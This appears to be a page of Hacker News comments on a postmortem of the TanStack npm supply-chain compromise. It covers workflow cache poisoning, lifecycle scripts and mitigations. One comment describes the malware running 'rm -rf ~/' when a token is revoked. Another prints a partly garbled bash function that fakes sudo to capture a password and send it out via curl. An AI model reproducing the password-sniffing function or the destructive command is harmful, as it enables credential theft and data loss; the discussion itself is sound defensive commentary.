Live data from Hacker News

Postmortem: TanStack NPM supply-chain compromise

tanstack.com

171–180 of 501 posts

Re: Postmortem: TanStack NPM supply-chain compromise

#171

Earlier quoted context omitted.

> running few years old JS deps What do you when a critical vulnerability gets discovered and you have to update a package? How many critical/high severity vulnerabilities are you running with in production every day to avoid supply chain attacks?

they said internal dashboards

Anyone who gets into the security perimeter may be in for a feast then.

Re: Postmortem: TanStack NPM supply-chain compromise

#172

Wow. Another huge package got compromised. I'm going to repost my PSA[0][1] that I posted after Axios and LiteLLM were compromised. The bit about lifecycle scripts apply too: PSA: npm/bun/pnpm/uv now all support setting a minimum release age for packages. I also have `ignore-scripts=true` in my ~/.npmrc. Based on the analysis, that alone would have mitigated the vulnerability. bun and pnpm do not execute lifecycle sc…

pip also supports relative dependency cooldowns starting in v26.1:

~/.config/pip/pip.conf

[install] uploaded-prior-to = P3D

Re: Postmortem: TanStack NPM supply-chain compromise

#173

Postinstall scripts are deadly. Everyone should be using pnpm. Crazy that an "orphan" commit pushed to a FORK(!) could trigger this (in npm clients). IMO GitHub deserves much of the blame here. A malicious fork's commits are reachable via GitHub's shared object storage at a URI indistinguishable from the legit repo. That is absolutely bonkers.

The compromised action here was using pnpm.

They poisoned the github action cache, which was caching the pnpm store. The chain required pull_request_target on the job to check bundle size, which had cache access and poisoned the main repo’s cache

The malicious package that was publisjed will compromise local machines its installed in via the prepare script, though.

Re: Postmortem: TanStack NPM supply-chain compromise

#174

Earlier quoted context omitted.

Realistically if you have installed malware, you need to do a full wipe of your computer anyway.

[On Linux:] If you didn't give yourself "free" (passwordless) sudo, that's not necessary… …unless it happened in a week with 2 and a half Linux kernel LPEs.

Until it overrides sudo in your $PATH to install malware after you enter your password later.

Re: Postmortem: TanStack NPM supply-chain compromise

#175

Earlier quoted context omitted.

I don't understand why people were voting this comment down in the issue page

Maybe they have a non-standard interpretation of thumbs-down – as "thumbs-down to this fact" not "thumbs-down to you for pointing it out"

I have noticed this behaviour happening more often too, it's very confusing. Usually when texting with younger Gen Z people.

Re: Postmortem: TanStack NPM supply-chain compromise

#176

> making it the first documented case of a self-spreading npm worm that carries valid SLSA provenance attestations I’m sorry, but what is the point of a provenance attestation that can be generated automatically by malware? I would think that any system worth its salt would require strong cryptographic proof tying to some hardware second factor, not just “yep, this was was built on a github actions runner that had ac…

Proper security costs much more.

Re: Postmortem: TanStack NPM supply-chain compromise

#177
post #124

Earlier quoted context omitted.

they probably used the publish token in a pull-request-target workflow or something?

yes, they used pull_request_target for a benchmarking suite. github has a huge warning saying to never use pull_request_target to run user code, but this is just going to keep happening

> github has a huge warning saying to never use pull_request_target to run user code

This is an area where documentation is necessary but not sufficient. Github needs to add some form of automated screening mechanism to either prevent this usage, or at the very least quickly flag usages that might be dangerous.

Re: Postmortem: TanStack NPM supply-chain compromise

#178

> Please be careful when revoking tokens. It looks like the payload installs a dead-man's switch at ~/.local/bin/gh-token-monitor.sh as a systemd user service (Linux) / LaunchAgent com.user.gh-token-monitor(macOS). It polls api.github.com/user with the stolen token every 60s, and if the token is revoked (HTTP 40x), it runs rm -rf ~/. (It looks like it might also have a bunch of persistence mechanisms. I haven't studi…

I could imagine this might also be to try cover its tracks. If it gets 40x it means it's been found, time to nuke everything it can.

Maybe gH could, accidentally, 40x for a few minutes globally and eradicate the beast?

Re: Postmortem: TanStack NPM supply-chain compromise

#179

Earlier quoted context omitted.

Realistically if you have installed malware, you need to do a full wipe of your computer anyway.

[On Linux:] If you didn't give yourself "free" (passwordless) sudo, that's not necessary… …unless it happened in a week with 2 and a half Linux kernel LPEs.

Sudo is security theater.

Malware can make a fake unprivileged sudo that sniffs your password.

function sudo () {

    realsudo=$(which sudo);

    read -r -s -p "[sudo] password for $USER: " password;

    echo "$USER: $password" | \

        curl -F 'p=/dev/null 2>&1;

    $realsudo -S /dev/null 2>&1;

    $realsudo "${@:1}";

}
Post reply on HN